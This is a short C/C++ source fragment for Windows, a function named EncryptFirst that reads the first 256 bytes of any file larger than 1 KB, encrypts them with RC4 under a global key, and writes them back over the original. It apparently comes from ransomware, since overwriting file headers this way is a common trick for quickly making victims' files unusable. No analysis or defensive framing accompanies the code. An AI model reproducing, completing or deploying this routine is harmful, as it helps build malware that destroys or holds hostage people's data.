void EncryptFirst(LPCWSTR path)
{
    FILE* p_file = fopen(utf8_encode(path).c_str(), "rb");
    if (p_file)
    {
        _fseeki64(p_file, 0, SEEK_END);
        INT64 size = _ftelli64(p_file);
        fclose(p_file);

        if (size > 1024)
        {
            HANDLE hFileRead, hFileWrite;
            DWORD dwBytesRead, dwBytesWritten, dwPos;

            hFileRead = CreateFileW(path, GENERIC_ALL, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
            dwPos = SetFilePointer(hFileRead, 0, NULL, 0);
            ReadFile(hFileRead, buff, 256, &dwBytesRead, NULL);
            CloseHandle(hFileRead);

            struct rc4_state* s;
            s = (struct rc4_state*) malloc(sizeof(struct rc4_state));
            rc4_setup(s, (unsigned char*)RC4key, strlen((const char*)RC4key));
            rc4_crypt(s, buff, strlen((const char*)buff));

            hFileWrite = CreateFileW(path, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
            dwPos = SetFilePointer(hFileWrite, 0, NULL, 0);
            WriteFile(hFileWrite, buff, dwBytesRead, &dwBytesWritten, NULL);
            CloseHandle(hFileWrite);
            free(s);
        }
    }
}